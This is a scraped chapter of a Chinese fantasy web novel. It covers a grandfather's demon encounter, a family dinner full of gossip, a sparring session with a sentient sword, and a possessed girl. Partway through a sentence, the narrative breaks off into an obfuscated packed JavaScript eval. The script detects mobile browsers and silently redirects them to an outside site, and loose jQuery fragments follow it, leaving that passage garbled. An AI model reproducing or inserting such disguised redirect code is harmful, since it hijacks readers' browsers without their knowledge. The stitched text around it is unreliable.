默认冷灰
24号文字
方正启体

7. 吃瓜

作者:花隅闲梦本书字数:K更新时间:
    姜老爷子见瞒不住,索性就不瞒了,“我今天在望麓山,遇见了一只蟒蛇妖子…”妖子还不是妖,它们是妖的孩子,生来便有灵智,但还要渡一道化形劫才能成妖。妖子和修妖的凡兽不同,身上多数都带有父母留给护身的妖术,有些血脉特殊的还别有奇异之处,不能等闲视之。


    姜老爷子对付一个未化妖的凡兽可谓手到擒来,但对付妖子,就要小心一些,“它血脉大概不凡,杀它费了些力气,我也受了点轻伤,但让我心惊的不是这个,而是我杀死那妖子后听到了一声妖啸…”


    姜老爷子说他当时就七窍出血,慌忙逃命,原以为肯定难逃一死,谁知却顺利地跑下山来,可到了山下,他才突然想起一件事。


    姜未也变色道:“望麓山上怎么会有妖?”望麓山乃吴国西部边境,为防侵扰,山上有一块吴国开国大帝留下的立国碑,碑中有仙人剑印,从来妖邪不侵。


    难道是立国碑出事了,才会有妖出没在山上?因为妖如果是从山下上的山,会被太平司的灵器闻妖钟发现,全县都能听见钟鸣。


    但立国碑要是真的出事了,碑外八百里妖魔群聚,甚至曾经陨落过已经渡劫的准仙,到时候群入国境,姜未光想想,后背都浸出一层冷汗。


    “我也是想到了这一茬,立马叫来了老曹和小周,我们三个拿着寻妖盘仔细搜寻了一番,却没有发现妖的踪迹。”姜老爷子神情迷惘,“可那一声妖啸绝没有多远,我不会感觉错,真是奇也怪哉,可要真是大妖,我又怎么逃得掉…兴许…是我多虑了。”


    姜老爷子的脸上始终愁云漫布,不过他不愿让孙女跟着一起担忧,强撑着摆摆手,“算了,天塌下来有个高的顶着,老曹他们已经在望麓山下布了禁山令,等郎司他们回来再作打算吧。我回去先想想办法,解决了这个邪祟。”禁山令是太平司的一件灵器,禁山令下,凡令行禁止区域,生灵不得进出。这样就算山上有妖也没法下山,当然村民也不能上山,算是权宜之计。


    姜老爷子收起来那只已经焦黑的护身娃娃,“我一时恐怕没时间给你做新的了,回去给你一个你祖爷爷留下的好东西。”


    两人一时默然,姜未关心了一下爷爷的伤势,忽然爷爷像是想起了什么,神情古怪地望着她。


    “怎么了,爷爷?”


    姜老爷子忍耐再三道:“刚才事急我就没说,你对蒋家的二丫头也太凶了,那小子是一个揍法,闺女能一样吗,你就没点柔和的法子?”


    姜未的脸登时就垮了下来,“她要是个男的,我早把她捶进土里了。”


    姜老爷子顿时失语,半晌才道:“小未,咱们姜家二十二代...”


    “从来没出过作奸犯科之辈,代代都是好汉好女,爷爷,我记着呢。”她遥遥招手,“快走,外公叫咱们吃饭去呢。”说罢三两步就跑远了。


    姜老爷子一口气顶在喉咙口,半晌大吼道:“真难带,也不知道随谁。”


    ......


    潘家


    “一定是随你!”姜老爷子指责潘外公。


    “随我不好吗?这叫豪气干云,侠肝义胆,你懂什么?”两个老头就着这个话题吵起嘴架。


    四舅妈低声对姜未道:“别管他们,你快给舅妈说说,那真话娃娃是真的吗?”


    四舅脸色一变,忙在一边使眼色,他可太知道他婆娘心里在想什么。


    姜未没看见舅舅的眼色,不过也实话实说:“舅妈,这世界上就没有能让人说真话的东西,我诳闵远齐的。”


    这回轮到四舅大吃一惊,“怎么会,那吴大强说了谎,疼得和要死了一样,不是娃娃在惩治他?”


    姜未轻咳一声道:“是我,内功里有一门隔空打牛,我脚下使着劲呢,这也就对吴大强这种不通武艺的人有用,换成赵承功、闵远齐,一下就知道端倪了。”


    外公吵架之余也不忘听着她们聊天,此时哈哈大笑:“还是我们小未机灵,这叫兵不厌诈,随我!”


    姜老爷子气得猛灌了他一杯。


    说说笑笑,众人不免又谈起今天的事,四舅叹口气,“听说是何四哥的那几个侄子坑了他,把四哥早年亲手写的案方卖给了闵少爷,现今何家正打架呢,这帮忘恩负义的白眼狼,这些年何四哥帮衬他们还少吗,骨肉血亲都能卖,呸!”


    四舅妈是个爱八卦的人,又补充道:“我还听了一点风言风语,说是何四哥想把自己的家私都留给女儿莲惠,几个侄子这就恼了,联合起外人一起害自己的亲叔。真是没人伦的畜生,祭司们就该把他们都逐出大石村。”


    何潍业只有一个独女,嫁到了外县,几个侄子一直把他这些年攒下的钱财当成是自己的,却不曾想何潍业并不在乎男丁香火,只一心为女儿打算,叫几个侄子美梦落空,恨毒了他,才叫闵远齐一引诱,合起伙来坑害自己的亲叔父。


    外公一时有些出神,他生了五个儿子,也不算和睦,自己年老归乡,只有老四跟着一起回来,也不知道自己百年之后,会不会也发生这种骨肉相残的惨剧。


    表妹潘晚晚错过了今天这场大热闹,又是何四伯被人构陷,又是姜未和景阳第一高手比武,又是抱尸敲诈勒索,又是真话娃娃戳穿谎言,最后还有姜未暴打富少闵远齐,简直平生未见的精彩,叫她后悔得捶胸顿足,此时听完了何家的故事,又问起闵家,“我在外面听人说那位闵少爷的爷爷就是修士,他会不会回去告状,叫他爷爷来报仇?”


    外公听见这话回过神来,摇摇头,“这个闵家我知道,他爷爷确实是位人物,不过子女太多了些,听说光儿子就三十多个,孙子得有上百,闵远齐他爹闵秋忠没有修行资质,一向不得宠,被发配来了景阳,闵远齐虽然有天资,但到底还没入道,他们不敢拿这种小事去打扰那位。再说抢开窍丹实在不光彩,抢到了也就罢了,没抢到还不够丢人的,闵秋忠没脸去告状。”


    潘晚晚一脸惊愕,“天啊,这么多孩子,得多大家业才养得起?”


    众人看她表情,不由都笑了起来,揭过这个话题又喝起酒来。


    姜未问她:“袁小禾呢?”


    潘晚晚低声道:“她脸虽没破相,也挨了几巴掌,如今不愿见人,回家去了,真是无妄之灾。”潘晚晚虽然也挨了几下打,但看见她们都受了罚,心里也没留下什么心结,只露出一些对好友的心疼。


    外公又听了一耳朵,“小孩子们不懂事,为了一个名头闹得这么难看,可怜小禾那孩子了。”


    姜老爷子笑道:“现在的孩子真是了不得,不像老潘,当年没选上祝祷少年就知道躲在家里哭...”外公抄起手边的拐杖就打,姜老爷子跟个青壮小伙一样,灵巧地蹿了出去,边跑边笑:“好说好说,谁年轻的时候不想当个少年少女...”


    “我姐就不想。”表弟潘正达突然插嘴。


    外公悻悻放下拐杖,“她那是不想当吗?她那是懒,练个祈神舞,三天打鱼,两天晒网,学了一个月连整舞都跳不下来。”


    潘晚晚刚想反驳弟弟“你怎么知道我不想当”,听了爷爷的话讪讪地闭了嘴。


    谁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093331|179687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道弟弟后面的话跟得更快,“才不是因为这个呢,我姐不想当是因为祝祷少女不能外嫁。”


    潘晚晚刚进嘴的一口汤“噗”地呛了出来,一边剧烈咳嗽一边站起来指着倒霉弟弟断断续续道:“你什么意思,给我把话说清楚。”


    四舅和舅妈已经坐直了身体,随时准备暴打儿子或者闺女,四舅声音严肃地问:“什么外嫁不外嫁,你姐姐认识了外面的人?”


    潘晚晚一边咳嗽一边猛烈摆手,急得要命。


    潘正达迟钝地没有发现屋内突然紧张起来的气氛,“那应该没有,但我姐喜欢书生,咱们大石村唯一的书生洪杰哥爱慕小禾姐,我姐将来只能在外面找书生了,所以她才不当祝祷少女呢。”


    潘晚晚一口气没歇一口气又提了起来,她终于停下咳嗽,提起弟弟的耳朵,“潘小胖,我什么时候喜欢书生了,你再给我造谣,我打得娘都认不出来你。”


    潘正达“嘶、嘶、嘶”连着痛呼几声,“你放手,我都看见了,你床底下都是什么书生佳人的话本…”


    四舅妈把筷子一放,怒而站起,“我先打得认不出来你。”


    潘晚晚“嗖”就躲了出去。


    潘正达正在看姐姐的笑话,就听见耳边传来他爹的问话,“你姐姐那些书你也看了?”


    小胖子恍然未觉,“看了。”


    “不读正经学问,净看些歪书,过来受罚。”


    小胖子这才察觉不对,垮着脸鬼哭狼嚎挨了一顿揍。


    姜未就着表姐弟挨揍的声音,吃了个肚圆,和爷爷告辞回家。


    夜深月明,姜老爷子早就打起了均匀的呼噜。


    姜家的东屋里,姜未迷迷糊糊地枕在长桌边上,忽然耳边响起一道清脆的“嗡”鸣,姜未抬起头,揉揉惺忪的眼,“你回来了。”


    刀祖飞进屋里,戳在长桌上,似乎有点奇怪姜未怎么这时候还等在这里。


    姜未郑重道:“多谢你今天给我递刀。”她借刀时,从天而降的那把长刀是刀祖捎给她的。


    刀祖躺回它的专属刀架上,“嗡”了一声,透着股不必言谢的意思。


    姜未索性跳坐在长桌上,“不过,你何必还专门带把刀来给我,自己给我用用不行吗?”


    刀祖又“嗡”了一声,意思是“想得美”。


    姜未听懂了,笑着伸手握住刀柄,“我今天还没打够,再来一场怎么样?”


    架上的长刀“嗡”地一声,抡起了刀柄。


    ......


    蒋家


    皎月西移,夜幕深沉,微风拂过枝叶,窸窣可闻。


    陷入沉眠的蒋若雨趴在床上,突然睁开了双眼。她的眼神空洞无神,像个没有灵智的布偶。


    她爬起来下床,但受伤的下半身让她没办法站稳,一个踉跄摔在了地上。


    她却丝毫感觉不到疼,换成双手用力向前爬行,拖着软绵绵的下半身,带出了一溜伤口崩裂渗出的血痕,那些腥红的血逶迤在地上,被冷白的月光照下来,泛起粼粼幽色。


    终于她爬到了自己的梳妆台前。


    她用力攀扶着自己的妆凳,艰难地支起身体,这样摔倒了几次,她仍毫无意识地重复这个动作,直到她终于撑着妆台站了起来。


    一张苍白浓丽的脸映在了台上的铜镜中。


    窗外的月透进了一点儿薄光,照亮了漆黑的铜镜,那张脸扭曲了一下,又变得空洞惨白。


    蒋若雨摔在地上,然后抬起手,一巴掌打在自己脸上,一个,一个,又一个。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)